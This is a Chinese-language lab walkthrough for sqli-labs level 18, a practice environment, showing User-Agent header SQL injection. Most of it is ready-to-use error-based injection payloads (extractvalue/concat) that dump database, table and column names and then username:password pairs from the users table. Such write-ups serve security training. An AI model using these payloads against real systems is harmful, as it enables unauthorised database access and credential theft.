sqli-labs第十八关——POST-UA注入
一:判断注入类型
先在用户名和密码框尝试判断,发现都得不到需要的回显
所以查看源码
可以发现username和password的输入后端都做了检查,没法直接注入
所以我们尝试uagent注入
UA注入:
- 没有url解码处理
- 只识别原始空格,+,%20都不作为空格解析
- 在User-agent字段中注入
先用一组密码登录,bp抓包
构造判断的payload
User-Agent: 1
User-Agent: 1'
User-Agent: 1"
User-Agent: 1')
User-Agent: 1")
单引号的时候产生不同的回显
其余均为
确定为单引号字符型,尝试闭合
闭合成功但报错,其他几种情况闭合均无回显,所以我们尝试报错注入
二:开始注入
1.爆数据库名
User-Agent: 1' and extractvalue(1,concat(0x7e,(database())))='1
2.爆表名
User-Agent: 1' and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())))='1
3.爆列名
User-Agent: 1' and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users')))='1
4.爆数据
看数据量
User-Agent: 1' and extractvalue(1,concat(0x7e,(select count(*) from users)))='
分两次爆数据
extractvalue(1,concat(0x7e, substring((select group_concat(username,0x3a,password) from users),1,32)))
extractvalue(1,concat(0x7e, substring((select group_concat(username,0x3a,password) from users),32,32)))